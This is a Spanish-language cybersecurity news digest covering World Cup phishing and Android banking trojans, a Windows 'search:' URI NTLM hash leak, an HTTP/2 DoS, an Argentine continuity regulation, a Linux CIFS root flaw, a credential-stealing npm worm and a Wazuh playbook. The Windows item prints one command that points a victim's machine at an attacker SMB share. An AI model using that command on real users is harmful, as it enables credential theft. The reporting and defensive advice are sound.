Comienza el mundial.. Así te infectan

Investigadores de seguridad y el FBI advierten que una ola de fraudes relacionados con la FIFA ya está afectando a los aficionados del Mundial de 2026, a pocos días del inicio, el 11 de junio.

Informes recientes describen miles de dominios que imitan a la FIFA, malware bancario oculto en aplicaciones piratas de streaming y al menos una operación que copia la página de inicio de sesión de la FIFA con la suficiente fidelidad como para suplantar cuentas reales.

Es un objetivo obvio. Se espera la asistencia de más de seis millones de aficionados en 16 ciudades de Estados Unidos, Canadá y México, y la FIFA informó haber recibido más de 150 millones de solicitudes de entradas en los primeros 15 días, lo que significa que el torneo superó en unas 30 veces la capacidad ofrecida. Las entradas son escasas, los aficionados están ansiosos y el dinero circula rápidamente, lo que crea el ambiente propicio para el fraude.

Un operador, 300 sitios web de la FIFA clonados

Los hallazgos más detallados provienen de Group-IB, que rastreó más de 4.300 dominios fraudulentos de la FIFA registrados desde agosto de 2025. En el centro de todo se encuentra un grupo denominado GHOST STADIUM, una operación de habla china con fines lucrativos que utiliza un único kit de phishing en más de 300 de esos sitios.

La falsificación es muy efectiva. La página es una copia casi perfecta de FIFA e imita el inicio de sesión único real de la FIFA, gestionado por PingIdentity, incluyendo el ID de cliente genuino copiado del sitio web en funcionamiento. Carga las imágenes directamente desde los servidores de la FIFA, por lo que la página parece auténtica y evade las herramientas que detectan imágenes copiadas.

Aquí está el punto clave: la página de inicio de sesión falsa también solicita restablecer la contraseña. Una vez que la víctima ingresa sus datos, el atacante puede bloquear su cuenta de la FIFA y revender las entradas asociadas.

La mayor parte del tráfico proviene de anuncios de Facebook, con los mismos códigos de seguimiento reutilizados en todo el clúster, además de enlaces en Telegram, WhatsApp y en los resultados de búsqueda. El sitio acepta pagos de cinco maneras diferentes: ingreso directo de tarjeta, pasarelas de pago externas, aplicaciones de transferencia de dinero como Chime y Nequi, procesadores exclusivos de México y una opción de criptomonedas que convierte el pago con tarjeta en criptomonedas, mucho más difíciles de recuperar.

Esta última opción es una señal de alerta, ya que la venta oficial de entradas de la FIFA nunca acepta criptomonedas, por lo que cualquier vendedor que las solicite es una estafa.

Group-IB estima que las pérdidas por fraude en entradas premium y de hospitalidad oscilan entre 71 y 474 millones de dólares, y afirma que toda la campaña podría ascender a miles de millones. Estas son estimaciones basadas en la infraestructura que pueden observar, no pérdidas confirmadas.

Miles de dominios, muchos tipos de estafas

FortiGuard Labs contabilizó más de 13.000 dominios relacionados con la Copa Mundial registrados entre enero y mayo, de los cuales aproximadamente el 8,8% eran maliciosos o sospechosos.

El aviso del FBI enumera decenas de dominios falsos de la FIFA, desde imitaciones con errores ortográficos hasta páginas falsas de empleos de la FIFA, y advierte que aparecerán más. Otros investigadores han identificado miles de sitios similares y más de mil cuentas falsas en redes sociales.

El fraude con entradas es solo una parte del problema. Group-IB también descubrió tiendas de productos falsificados, sitios de streaming fraudulentos que cobran una suscripción y luego instalan malware que otorga el control al atacante, y sitios de apuestas falsos que recopilan escaneos de pasaportes y selfies para el robo de identidad.

Bitdefender rastreó por separado correos electrónicos de la lotería de la FIFA que prometían premios de hasta 2 millones de dólares. Group-IB también identificó un mercado de "phishing como servicio" que vende kits de estafa listos para usar y bots para comprar entradas, por lo que desmantelar un operador apenas ayuda.

Las piezas encajan: dominios falsos captan las búsquedas de entradas, los anuncios y los resultados de búsqueda impulsan el tráfico, el robo de contraseñas facilita el acceso no autorizado a cuentas, y las aplicaciones instaladas de forma no autorizada convierten la búsqueda de transmisiones en un fraude bancario.

Malware bancario oculto en aplicaciones de streaming

Para los aficionados que buscan transmisiones gratuitas de partidos, el mayor peligro reside en el teléfono. ThreatFabric detectó un aumento repentino de aplicaciones de streaming no oficiales maliciosas, muchas de ellas haciéndose pasar por la popular RojaDirecta, durante la reciente final de la Liga de Campeones, y prevé que se repita una situación similar en el Mundial, pero a mayor escala.

Kaspersky vinculó estas mismas aplicaciones con troyanos bancarios para Android, malware diseñado para robar dinero de aplicaciones bancarias y de criptomonedas, e identificó dos familias: Massiv y Perseus. Estas aplicaciones no están disponibles en Google Play, por lo que instalar una implica ignorar las advertencias que normalmente la bloquearían.

Una vez instalado, el malware utiliza las herramientas de accesibilidad de Android para tomar el control del teléfono. Puede superponer pantallas de inicio de sesión bancarias falsas sobre aplicaciones reales, registrar lo que escribe el propietario, interceptar los códigos de un solo uso de los mensajes de texto y las aplicaciones de inicio de sesión que están destinados a mantener las cuentas seguras, y controlar la pantalla de forma remota.

Perseus, basado en el código filtrado de un troyano antiguo llamado Cerberus, incluso lee aplicaciones de notas para obtener contraseñas guardadas y frases de recuperación de criptomonedas. La señal de alerta más simple, según ThreatFabric, es una aplicación de streaming que solicita acceso de accesibilidad. No tiene ninguna razón válida para necesitarlo.

Estafas en redes sociales, accesos robados y Wi-Fi de riesgo

Las redes sociales también están plagadas de estafas. Bitdefender detectó más de 55 campañas publicitarias con temática futbolística en Facebook e Instagram, que promocionaban equipos falsificados, pegatinas Panini falsas y páginas de phishing; dos de estas operaciones de venta de productos se rastrearon hasta operadores chinos a través de sus etiquetas de seguimiento de anuncios.

Fortinet contabilizó más de 1.700 cuentas suplantadas de la FIFA, casi el 90% de ellas en Facebook e Instagram, además de un esquema que utilizaba anuncios de empleo falsos de la FIFA e invitaciones de calendario para redirigir a los solicitantes a un inicio de sesión de Google que imitaba al de la FIFA.

Ya circulan credenciales de acceso robadas de la FIFA. Fortinet encontró cientos de miles de credenciales de usuario, además de más de 4600 direcciones web de la FIFA, en datos robados por malware de robo de credenciales como Vidar, LummaC2, y RedLine.

El Wi-Fi en las ciudades anfitrionas representa un problema en sí mismo. Un estudio de Kaspersky realizado en Ciudad de México, Monterrey y Guadalajara reveló que entre el 10% y el 12% de las redes estaban abiertas y sin contraseña, con la función de emparejamiento WPS activada en casi la mitad. Esto crea vulnerabilidades que permiten la creación de puntos de acceso falsos, imitando una red legítima y leyendo su tráfico sin que se dé cuenta.

¿Qué debes tener en cuenta?

Estas estafas dejan señales claras. Compra solo a través de fifa.com e introduce la dirección manualmente en lugar de confiar en un anuncio o un resultado de búsqueda. Activa la autenticación multifactor y desconfía de cualquier vendedor que solicite el pago en criptomonedas, ya que la venta de entradas de la FIFA nunca las requiere.

En Android, la señal de alerta más evidente es una aplicación de streaming que solicita acceso de accesibilidad innecesario. En redes Wi-Fi públicas en las ciudades sede, utilice datos móviles siempre que sea posible y evite iniciar sesión en cuentas bancarias o de correo electrónico.

Para los equipos de seguridad, la tarea es sencilla: estar atentos a nuevos dominios con temática de la FIFA y páginas de inicio de sesión similares, marcar cualquier inicio de sesión de empleados o clientes que aparezca en los registros de robo de Vidar, LummaC2 o RedLine, y preparar a los equipos de prevención de fraude para un aumento repentino de incidencias y contracargos hasta mediados de julio.

Meta afirma estar tomando medidas. Ahora muestra ventanas emergentes de advertencia cuando se buscan entradas para la FIFA en Facebook, y se asoció con Visa para desmantelar una red de Facebook vinculada a sitios web falsos del Mundial que promovían apuestas fraudulentas. El FBI solicita a quienes hayan sido víctimas de estafas que lo denuncien ante el IC3.

La mayor preocupación reside en lo que aún está pendiente. Group-IB contabilizó aproximadamente 3.800 dominios fraudulentos de la FIFA inactivos, listos para activarse. Con kits de estafa y bots ya disponibles para la venta, el período de mayor actividad es evidente: del 11 de junio al 19 de julio, cuando las búsquedas de entradas, transmisiones y viajes alcancen su punto máximo.

Fuente: THN

Seguir leyendo...

Vulnerabilidad sin parchear en la URI de búsqueda de Windows permite a los atacantes robar hashes NTLMv2

Investigadores de ciberseguridad han revelado detalles de una vulnerabilidad sin parchear que podría explotarse para obtener el hash NTLMv2 de un usuario.

Como resultado, un atacante podría aprovechar el hash capturado para realizar ataques de retransmisión y obtener un acceso más profundo a la red. Tras la divulgación responsable el 15 de abril de 2026, Microsoft se negó a abordar el problema, declarando que "solo los casos de gravedad Importante y Crítica cumplen con nuestros criterios para recibir soporte".

Al igual que en el caso de CVE-2026-33829, que afectaba al controlador de URI `ms-screensketch:` de la herramienta Recortes de Windows, la nueva vulnerabilidad detectada reside en el controlador de URI `search:`, según Huntress.

CVE-2026-33829 se refiere a una vulnerabilidad de suplantación de identidad que podría exponer información confidencial a un atacante no autorizado.

"Un atacante podría inducir al usuario a hacer clic en un enlace especialmente diseñado en un navegador web u otra URL, insertándolo en una página web o un correo electrónico", señaló Microsoft en su aviso de seguridad en aquel momento.

Si el usuario aprueba la apertura del enlace, la URL manipulada puede inducir al equipo a conectarse a un servidor SMB elegido por el atacante, lo que revelaría el hash NTLMv2 del usuario al atacante, quien podría usarlo para autenticarse como tal.

En concreto, el problema radicaba en que el controlador de URI de la Herramienta Recortes aceptaba un parámetro "filePath", no lo validaba y accedía a cualquier ruta UNC (Convención de Nombres Universales) que se le pasara. Esto, a su vez, podía activar la autenticación NTLM y exponer el hash Net-NTLMv2 de la víctima al atacante.

La vulnerabilidad recientemente descubierta logra el mismo objetivo final utilizando "search:" y "crumb=location:" en lugar de "filePath" con un comando como el siguiente:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

"Utilizaba el mismo mecanismo de fuga NTLM, producía la misma fuga Net-NTLMv2, tenía los mismos requisitos previos y la misma calificación de Moderada", afirmó Andrew Schwartz, investigador de Huntress. Cabe destacar que el uso del parámetro "crumb" para robar el hash (CVE-2023-35636) fue documentado por Varonis en febrero de 2024.

A falta de una solución, se recomienda bloquear el tráfico SMB saliente (TCP/445 y TCP/139) en los hosts que no lo necesiten, exigir la firma SMB para que los hashes capturados no puedan reenviarse a servicios internos y deshabilitar NTLM donde corresponda.

Actualización: Este repositorio contiene una herramienta automatizada en Bash diseñada para auditar y verificar de manera pasiva y controlada si los activos con sistema operativo Windows son vulnerables a la manipulación insegura del manejador de protocolo search:.

Fuente: THN

Seguir leyendo...

Nueva vulnerabilidad HTTP/2 Bomb permite un ataque DoS remoto contra NGINX, Apache, IIS, Envoy y Cloudflare

Investigadores de ciberseguridad han descubierto una vulnerabilidad de denegación de servicio remota que afecta a los principales servidores web, incluidos NGINX, Apache HTTPD, Microsoft IIS, Envoy y Cloudflare Pingora.

La vulnerabilidad ha sido denominada HTTP/2 Bomb por Calif.io. HTTP/2 Bomb explota HPACK y el control de flujo; un solo cliente puede consumir 32 GB de memoria en 20 segundos, provocando caídas del servidor.

"El comportamiento vulnerable existe en la configuración HTTP/2 predeterminada de cada servidor", afirmó la compañía, añadiendo que fue descubierta por OpenAI Codex mediante la combinación de dos técnicas conocidas: una bomba de compresión y una retención al estilo Slowloris.

"La bomba ataca HPACK, el esquema de compresión de encabezados de HTTP/2: un byte en la red se convierte en una asignación completa de encabezado en el servidor, que se repite miles de veces por solicitud", agregó Calif. "La retención es una ventana de control de flujo de cero bytes que impide que el servidor libere cualquier parte de ella."

HPACK es un algoritmo de compresión de encabezados específico para HTTP/2 que se utiliza para comprimir los metadatos de las solicitudes y respuestas mediante la codificación Huffman, lo que resulta en una reducción promedio del 30% en el tamaño del encabezado. También está diseñado para ser resistente a ataques como CRIME (acrónimo de "Compression Ratio Info-leak Made Easy", que puede filtrar las cookies de autenticación de los encabezados comprimidos.

Slowloris, por otro lado, es un tipo de ataque de denegación de servicio (DoS) que permite a un atacante saturar un servidor objetivo abriendo y manteniendo múltiples conexiones HTTP simultáneas entre el atacante y el objetivo. Se trata de un ataque a nivel de aplicación.

HTTP/2 Bomb se inspira en varios métodos conocidos, como HPACK Bomb (CVE-2016-6581), revelado por primera vez en 2016, así como en CVE-2025-53020, una vulnerabilidad de agotamiento de memoria en la implementación HTTP/2 de Apache httpd, y dos fallos de denegación de servicio (DoS) en Apache HTTP Server, activados mediante tramas CONTINUATION manipuladas (CVE-2016-8740) y la inanición de subprocesos de trabajo (CVE-2016-1546) en una conexión HTTP/2.

"La novedad reside en el origen de la amplificación. La bomba clásica inserta un valor grande en la tabla y lo referencia repetidamente, por lo que los servidores aprendieron a limitar el tamaño total del encabezado decodificado. Nuestra variante funciona al revés: el encabezado está casi vacío, y la amplificación proviene de la gestión de memoria que el servidor asigna a cada entrada. El límite de tamaño decodificado nunca se activa porque prácticamente no hay nada que decodificar".

En un hipotético escenario de ataque, un ordenador doméstico con una conexión de 100 Mbps podría dejar un servidor vulnerable inaccesible en cuestión de segundos. Además, un solo cliente puede consumir y mantener 32 GB de memoria del servidor en Apache HTTPD y Envoy en aproximadamente 20 segundos.

Para contrarrestar la vulnerabilidad, se recomienda aplicar las siguientes medidas:

• NGINX: Actualizar a la versión 1.29.8 o superior, que añade la directiva `max_headers` con un valor predeterminado de 1000. Si no es posible actualizar, se recomienda deshabilitar HTTP/2 con `http2 off;`.
• Apache HTTPD: Solucionado en `mod_http2 v2.0.41`. Si no es posible actualizar, se recomienda configurar los protocolos `http/1.1` para deshabilitar HTTP/2.
• Microsoft IIS, Envoy y Cloudflare Pingora: No hay parche disponible al momento de redactar este informe.

"El error más profundo radica en que la especificación define el riesgo de memoria simplemente como una relación de amplificación, y esta relación es solo la mitad de la ecuación", afirmó Calif. "Un amplificador 70:1 es inofensivo si la memoria se libera cuando finaliza la solicitud. Se convierte en un ataque porque HTTP/2 permite al cliente mantener la conexión abierta casi sin coste alguno, reservando cada byte asignado durante el tiempo que desee."

Fuente: Calif

Seguir leyendo...

Disposición 1/2026 del CNC: qué exige técnicamente y cómo prepararse para cumplirla

El 13 de mayo de 2026 se publicó en el Boletín Oficial la Disposición 1/2026 del Centro Nacional de Ciberseguridad (CNC), la primera norma emitida por el organismo desde su creación a fines de 2025. En una publicación anterior compartimos un resumen de los principales aspectos de esta medida, incluyendo el plazo de 180 días que tienen los organismos públicos para adecuarse — si aún no lo leíste, te recomendamos empezar por ahí: Disposición AR 1/2026 da 180 días a organismos públicos para reforzar su ciberseguridad.

La fuente del presente post es el Boletín Oficial de la República Argentina en su Disposición 1/2026, CNC (13/05/2026) y nos enfocamos en el Anexo I, el Reglamento Técnico que da cuerpo a la norma. Está organizado en tres capítulos y define con precisión qué debe hacer cada organismo en materia de políticas de contingencia, planes de recuperación y centros de datos de respaldo.

Capítulo 1: Política de Planes de Contingencias

Cada organismo debe elaborar una Política de Planes de Contingencias: un documento institucional que defina su propósito, alcance, roles, responsabilidades y cómo se coordinan las áreas. También debe establecer un mecanismo de actualización que sea tanto periódico como reactivo ante eventos previamente definidos.

El Anexo señala que un activo clave para esto es el inventario de sistemas: la política debe contemplar cómo generarlo, cómo clasificar cada sistema por criticidad y cómo mantenerlo actualizado. Además, debe designar un responsable formal (autoridad designada) del desarrollo de esta política.

1.1. El inventario de sistemas

El inventario debe enumerar todos los sistemas en un único formato estandarizado, actualizarse al menos una vez por año y también ante eventos relevantes (adquisiciones, cambios significativos). Para cada sistema, debe incluir:

Nivel de criticidad

Campo	Descripción
Descripción del sistema	Funcionalidades de negocio y su rol en la misión del organismo
Dependencias	Aplicaciones, datos, infraestructura y proveedores asociados
Impacto de interrupción	Por dimensiones: seguridad/vida, servicios al ciudadano, económico/operativo, legal/regulatorio y reputacional

Alto, Medio o Bajo (según la metodología de la sección 1.2)

RTO y RPO

Tiempo y punto de recuperación objetivo, consistentes con los valores de la Tabla 2

Prioridad de recuperación

Orden de restauración y recursos necesarios

El inventario debe ser aprobado por la autoridad designada.

1.2. Categorización de sistemas por niveles de criticidad

El Anexo establece tres niveles de criticidad basados en el impacto que tendría una interrupción del sistema, siguiendo criterios inspirados en la norma federal FIPS 199 de EE.UU.:

Nivel	¿Cuándo aplica?	Ejemplos
🔴 Alto	Sistemas cuya indisponibilidad tendría efectos severos o catastróficos en seguridad, orden público, economía, salud pública o bienestar general	Centros de cómputos de ministerios clave, sistemas bancarios de pago nacional, proveedores de energía o telecomunicaciones
🟡 Medio	Sistemas que, si fallan, generarían efectos adversos graves en sectores económicos, sanitarios o regionales importantes, pero manejables a corto plazo	Organismos descentralizados, hospitales de referencia, registros provinciales, operadores de transporte público
🟢 Bajo	Sistemas cuya caída prolongada tendría impacto limitado y acotado, tolerable mediante medidas alternativas temporales	Funciones administrativas internas, bases de datos de consulta pública no crítica, sistemas duplicados

Importante: incluso los sistemas de nivel Bajo deben contar con un plan de recuperación, aunque simplificado.

Capítulo 2: Plan de Contingencia y Plan de Recuperación ante Desastres (PRD)

El Plan de Contingencia describe cómo se recuperarán los sistemas, datos y servicios críticos ante un evento adverso, garantizando la continuidad operativa y minimizando el impacto en la misión del organismo. El Plan de Recuperación ante Desastres (PRD) es parte integral de esta planificación.

2.1. Componentes mínimos obligatorios

Todo Plan de Contingencia, independientemente del organismo o su nivel de criticidad, debe incluir los siguientes componentes:

Componente	Qué debe contener
Alcance	Declaración formal del compromiso institucional con la continuidad de TI
Análisis de Impacto al Negocio (BIA)	Procesos críticos, sistemas de apoyo, consecuencias de interrupción, RTO y RPO por función esencial, priorización de sistemas
Estrategia de respaldo y recuperación	Tipo de solución adoptada (sitio espejo, caliente, tibio o frío), ubicación y características del Centro de Datos de Respaldo, recursos redundantes, mecanismos de replicación
Organización, roles y responsabilidades	Personas autorizadas a declarar un desastre, responsables de recuperación, equipos técnicos, datos de contacto de emergencia 24x7, lista de escalamiento
Procedimientos de activación y recuperación (playbooks)	Guías paso a paso para: activación del PRD, conmutación al sitio alternativo, recuperación de sistemas y datos, retorno a la normalidad. Deben ser específicos por tipo de incidente (ej: ransomware vs. destrucción física)
Coordinación con otras áreas	Interacciones con otras áreas: reporte de incidentes, comunicaciones, actualizaciones y configuración de sistemas
Medidas de seguridad en la recuperación	Controles lógicos (autenticación, firewalls, cifrado, monitoreo) y físicos; coordinación con el plan de respuesta a incidentes; cuidado de evidencia forense
Registro y documentación	Bitácora cronológica de eventos, decisiones y medidas durante una conmutación; resultados de pruebas y evidencias (informes de backup, reportes de replicación)
Programa de pruebas	Tipo y frecuencia de pruebas (failover, simulacros, tabletop), con periodicidad mínima anual para pruebas integrales; informe de resultados tras cada ejercicio con métricas y plan de remediación
Revisión y aprobación	Mecanismo formal de revisión y aprobación de los planes
Actualización y mejora continua	Objetivos de actualización periódica y ante eventos como fallas en pruebas; incorporación de lecciones aprendidas

2.2. Requisitos adicionales según nivel de criticidad

Sobre la base común anterior, el Reglamento establece exigencias adicionales, los sistemas deberán cumplir requisitos técnicos adicionales acordes al potencial impacto mayor de un incidente, diferenciadas por nivel de criticidad:

Aspecto	🔴 Alto	🟡 Medio	🟢 Bajo
Centro de respaldo	Tier 3 (certificado en 20 meses), a ≥1.500 km del centro principal	Tier 3 (certificado en 20 meses), a ≥1.500 km del centro principal	Sin requisito específico de Tier
Estrategia de recuperación	Sitio caliente (hot site) o tibio (warm site)	Sitio frío (cold site), operativo mediante procesos manuales	Copias de seguridad
RTO objetivo	Menos de 4 horas	Menos de 24 horas	Entre 1 y 5 días
RPO objetivo	Menos de 1 hora	Menos de 4 horas	No especificado
Pruebas periódicas	Al menos 1 prueba completa anual + tabletops semestrales + pruebas de recuperación de backups offline + tests de failover de redes	Al menos 1 prueba completa anual + tabletops trimestrales + pruebas de recuperación de backups offline	Pruebas de consistencia de copias de seguridad por muestreo

Sitio caliente: operativo casi en tiempo real, con replicación continua y conmutación rápida automática o semi-automática. Sitio tibio: copias incrementales con snapshots e infraestructura configurada por software. Sitio frío: infraestructura disponible pero que requiere configuración manual antes de operar.

Capítulo 3: Requisitos técnicos mínimos para el Centro de Datos de Respaldo

El Capítulo 3 especifica las condiciones que debe cumplir la infraestructura de respaldo. A continuación, un resumen de cada requisito:

Requisito	Detalle
Ubicación geográfica	Dentro del territorio argentino, a al menos 1.500 km del centro principal, para evitar exposición simultánea a eventos disruptivos regionales
Conectividad	Al menos dos enlaces independientes (preferentemente fibra óptica por rutas físicas distintas), contratados con diferentes proveedores; se recomienda un enlace adicional satelital o por radioenlace para contingencias extremas
Suministro eléctrico	Doble acometida energética, UPS adecuadas y generadores con autonomía mínima de 24 a 48 horas
Climatización	Sistemas HVAC redundantes; en ubicaciones frías puede implementarse free cooling; control de humedad para evitar condensación o estática
Hardware	Compatible con el centro principal (arquitecturas, hipervisores, SO, middleware); capacidad suficiente para soportar los servicios críticos; replicación sincrónica para RPO cercano a cero, asincrónica o por backups periódicos en los otros niveles
Seguridad física	Accesos por capas, CCTV, perímetro, detección y extinción de incendios (VESDA + agentes limpios o agua nebulizada, conforme NFPA 75/76)
Seguridad lógica	Firewalls, IDS/IPS, autenticación multifactor, segmentación de red, cifrado y monitoreo continuo (SIEM); equivalentes a los controles del centro principal (NIST SP 800-53, control CP-7(3))
Certificación Tier 3	Debe cumplir los requisitos Tier 3 desde el inicio de las operaciones y certificarse formalmente dentro de los 20 meses desde la entrada en vigencia del Reglamento. Garantiza disponibilidad anual de 99,982% y mantenimiento concurrente sin interrupción
Seguridad física y lógica	Accesos multicapa, CCTV, MFA, segmentación de red, monitoreo continuo de incidentes

El Reglamento Técnico no deja margen para la ambigüedad: define qué documentos hay que tener, qué información debe contener cada uno, qué infraestructura se requiere y cómo debe probarse. Para los organismos del Sector Público Nacional, el camino está trazado con claridad. El desafío ahora es ejecutarlo dentro del plazo, objetivo que sin duda no será sencillo.

Por Lic. Bernardita Götte

Compliance Consultant en Segu-Info

Seguir leyendo...

CIFSwitch: vulnerabilidad del kernel de Linux de 19 años de antigüedad expone sistemas al acceso de root

Se ha publicado código de prueba de concepto (PoC) para la vulnerabilidad CIFSwitch, que permite a usuarios con pocos privilegios obtener acceso de root en sistemas Linux vulnerables.

Una vulnerabilidad del kernel de Linux de 19 años de antigüedad, denominada CIFSwitch, permite a usuarios con pocos privilegios obtener acceso de root a través del subsistema CIFS y la utilidad cifs-utils. La vulnerabilidad surge de que el kernel no valida el origen de una llamada a request_key, lo que permite a los atacantes eludir las restricciones y ejecutar código arbitrario como root.

CIFSwitch (CVE-2026-46243) es una vulnerabilidad de explotación local , descubierta mediante el uso de modelos de lógica de bajo nivel (LLM). El problema afecta a varias distribuciones de Linux, en particular a aquellas con cifs-utils instalado por defecto. Las principales distribuciones han publicado parches y se ha publicado código de prueba de concepto para facilitar la validación. Algunas distribuciones de Linux Mint, CentOS, Rocky Linux, Kali Linux, AlmaLinux y SLES SAP que tienen cifs-utils instalado por defecto son vulnerables. Algunas distribuciones son vulnerables solo si cifs-utils se instaló manualmente.

El aviso ya es público para que los propietarios de los sistemas afectados puedan aplicar el parche o implementar otras medidas de mitigación. Las principales distribuciones de Linux lanzaron correcciones para este defecto de seguridad. Asim Viladi Oglu Manizada ha publicado código de prueba de concepto (PoC) para ayudar a los defensores a "validar parches, mitigaciones, detecciones y exposición".

CIFSwitch afecta al subsistema CIFS del kernel de Linux y a la utilidad de espacio de usuario cifs-utils que utiliza para gestionar la autenticación. CIFS gestiona partes del protocolo del sistema de archivos de red SMB, como el montaje de recursos compartidos, las operaciones de lectura/escritura y la comunicación SMB con el servidor.

Al autenticar un montaje, el subsistema envía una solicitud request_key para obtener una clave cifs.spnego. Esta solicitud verifica la clave en el espacio de usuario y llama a cifs.upcall como administrador para analizar la descripción de la clave, que contiene campos como UID, PID, caché de credenciales y espacio de nombres.

Según Asim Viladi Oglu Manizada, ingeniero de seguridad de SpaceX, el kernel no verifica el origen de la solicitud ni la descripción de la clave, lo que permite a un atacante llamar directamente a la función `request_key` y proporcionar sus propios campos de descripción de clave, eludiendo así el origen de CIFS. Dado que `cifs.upcall` se llama como root, el proceso auxiliar cambia a los espacios de nombres del PID proporcionado en la descripción de clave modificada, otorgando al atacante acceso de root.

Además, durante la operación, antes de que se reduzcan los privilegios, el proceso auxiliar también realiza una búsqueda de cuenta, que pasa por el Name Service Switch (NSS) y habilita la carga de módulos NSS.

El atacante puede aprovechar esta vulnerabilidad colocando un archivo de configuración NSS falso y un módulo NSS en su espacio de nombres, lo que provoca que el proceso auxiliar cargue el código controlado por el atacante como root, explica Manizada.

Según el ingeniero, la vulnerabilidad se puede resolver considerando legítimas las descripciones de claves solo cuando CIFS utiliza su spnego_cred privado, e implementando medidas de seguridad en el espacio de usuario para verificar si la descripción de la clave es generada por el kernel.

Muchas distribuciones de Ubuntu, Fedora, CentOS, Rocky Linux, AlmaLinux, Oracle Linux, openSUSE y SLES bloquean la ruta de ejecución por defecto, mientras que Amazon Linux 2 KVM y Kali Linux 2019.4/2020.4 no se ven afectadas.

Fuente: THN

Seguir leyendo...

Paquetes NPM de Red Hat comprometidos para propagar un gusano de robo de credenciales

Varios paquetes npm oficiales de @redhat-cloud-services se vieron comprometidos con un gusano de robo de credenciales derivado del malware de código abierto Mini Shai-Hulud, que ataca las credenciales en la nube y las herramientas de desarrollo en los flujos de CI/CD.

En total, 96 versiones de 32 paquetes se vieron comprometidas, con un total acumulado de 116.991 descargas semanales. Dado que las herramientas se hicieron públicas, otros ciberdelincuentes ahora tienen acceso a las mismas técnicas y pueden replicarlas o adaptarlas. Los paquetes se publicaron a través de GitHub Actions OIDC, lo que indica que la canalización de CI/CD se vio comprometida, y no un token de npm. Si ha instalado alguna versión de paquete afectada desde el 1 de junio de 2026, considere comprometidos todos los secretos de CI, credenciales en la nube, claves SSH y tokens de npm, y rótelos inmediatamente.

Cronología de la campaña Mini Shai-Hulud

La carga útil incrustada en los paquetes afectados presenta un gran parecido con Mini Shai-Hulud, el malware para la cadena de suministro publicado como código abierto por TeamPCP. Curiosamente, esta versión se autodenomina "Miasma" y parece haber reemplazado las conocidas referencias a Dune de Shai-Hulud con elementos de la mitología griega.

TeamPCP es un grupo de ciberdelincuentes que lleva varios meses realizando ataques dirigidos a la cadena de suministro de CI/CD. Su malware Mini Shai-Hulud es un sofisticado gusano que roba credenciales y se propaga republicando versiones con puertas traseras de paquetes a los que la cuenta de la víctima tiene acceso. Anteriormente informamos sobre vulnerabilidades que afectaban a Mistral and TanStack, Microsoft's Durable Task, PyTorch Lightning, Bitwarden CLI, e Intercom, todas ellas vinculadas a las mismas herramientas.

Cuando TeamPCP publicó el código fuente de Mini Shai-Hulud, la amenaza se extendió más allá de un único actor. Ahora, cualquier grupo puede adoptar el framework, adaptarlo e implementarlo contra nuevos objetivos.

Omisión de la publicación segura

La publicación segura es un mecanismo que npm introdujo para eliminar los tokens de publicación de larga duración de las canalizaciones de CI/CD, reemplazándolos por tokens OIDC de corta duración emitidos por GitHub Actions. Se diseñó para ser más seguro, pero como demuestran ataques recientes, puede eludirse si un atacante obtiene acceso a una canalización de CI/CD a través de una vulnerabilidad o un token comprometido.

"Descubrimos que la cuenta de GitHub de un empleado de Red Hat fue comprometida y utilizada para enviar commits huérfanos maliciosos directamente a varios repositorios, omitiendo por completo la revisión de código. Estos commits huérfanos contenían un archivo de flujo de trabajo (ci.yaml) y un script (_index.js).", declaró Aikido

¿Qué roba?

Al igual que en ataques anteriores de Mini Shai-Hulud, la carga útil realiza un escaneo exhaustivo de credenciales en proveedores de la nube, entornos de CI/CD y herramientas de desarrollo. En el lado de CI, apunta a secretos de GitHub Actions, incluidos GITHUB_TOKEN y ACTIONS_RUNTIME_TOKEN.

Para credenciales en la nube, recopila claves de acceso y tokens de sesión de AWS, credenciales predeterminadas de aplicaciones de GCP y archivos de claves de cuentas de servicio, y credenciales de entidades de servicio de Azure y tokens de identidad administrada. También busca tokens de HashiCorp Vault, tokens de cuentas de servicio de Kubernetes y archivos kubeconfig, tokens de publicación de npm y PyPI, claves privadas SSH, credenciales de registro de Docker, claves GPG y cualquier archivo .env que encuentre en el sistema de archivos.

Fuente: Aikido

Seguir leyendo...

Playbook de SIEM: aplicabilidad en implementaciones con #Wazuh

Desde Segu-Info hace varios años implementamos Wazuh como solución SIEM/XDR Open Source en clientes de la región. Y, algo que aprendimos rápido es que la herramienta, por más completa que sea, necesita método: reglas sueltas no son detección, alertas dispersas no son incidentes. La diferencia entre un Wazuh productivo y uno que termina apagado por ruido suele estar en si hay (o no) un catálogo de casos de uso documentado, mapeado a MITRE ATT&CK, revisable y comunicable al cliente.

Por eso nos resultó útil el documento 2026 SIEM Use Case Engineering Playbook de Izzmier Izzuddin, difundido recientemente. Es un compendio gratuito de 100 casos de uso pensados para SIEM modernos, agnóstico de plataforma —los ejemplos están en KQL, SPL, Sigma y EQL— pero perfectamente traducible a Wazuh mediante reglas XML, decoders y grupos de agentes.

El playbook no es simplemente una lista de reglas; es una metodología completa que describe escenarios de amenazas realistas, identifica los logs requeridos, define bloques constructivos reutilizables, establece la lógica de detección y guía al analista desde la alerta hasta la contención.

El playbook se organiza en tres partes. 

La primera define una metodología de detection engineering para 2026: cada caso de uso no es un trigger aislado sino una cadena Use Case → Rule → Alert → Incident → Tuning. 

La segunda lista los 100 casos en 10 categorías: identidad y accesos, accesos privilegiados/AD/PAM, correo y BEC, endpoint y malware con Living-off-the-Land, ransomware, cloud/SaaS/OAuth/no humanos, API y web, red y threat intel, fuga de datos y seguridad de IA, y gobierno/criptografía. 

La tercera —la más extensa— desarrolla cada caso como blueprint: escenario, telemetría requerida, building blocks aplicables, lógica de detección, nombre de alerta e incidente, y pasos de triage.

Lo valioso del documento no es la lista —muchos casos ya están cubiertos en cualquier SOC maduro— sino dos aportes: un catálogo de 12 Building Blocks reutilizables (usuarios privilegiados, activos críticos, IOCs, identidades no humanas, permisos OAuth de alto riesgo) y la insistencia en que cada detección lleve contexto de entidad, de negocio y vía de respuesta documentada. Eso separa un SIEM operativo de un generador de ruido.

Para los equipos que ya operan Wazuh, el playbook se vuelve aprovechable en tres planos.

Contexto y mapeo de capacidades. Los 100 casos atraviesan superficies que Wazuh cubre nativamente, Windows Security, syslog, FIM, detección de vulnerabilidades, y otras que requieren extender la plataforma. Mapear cada caso a "qué decoder, qué fuente, qué módulo" da una foto muy clara de la cobertura real de cada implementación, que es la respuesta concreta a "¿qué estamos detectando hoy?". En nuestros clientes lo armamos como una matriz: caso del playbook, regla Wazuh activa, fuente de log, estado (activo, pendiente o no aplica). Solo ese ejercicio ya ordena.

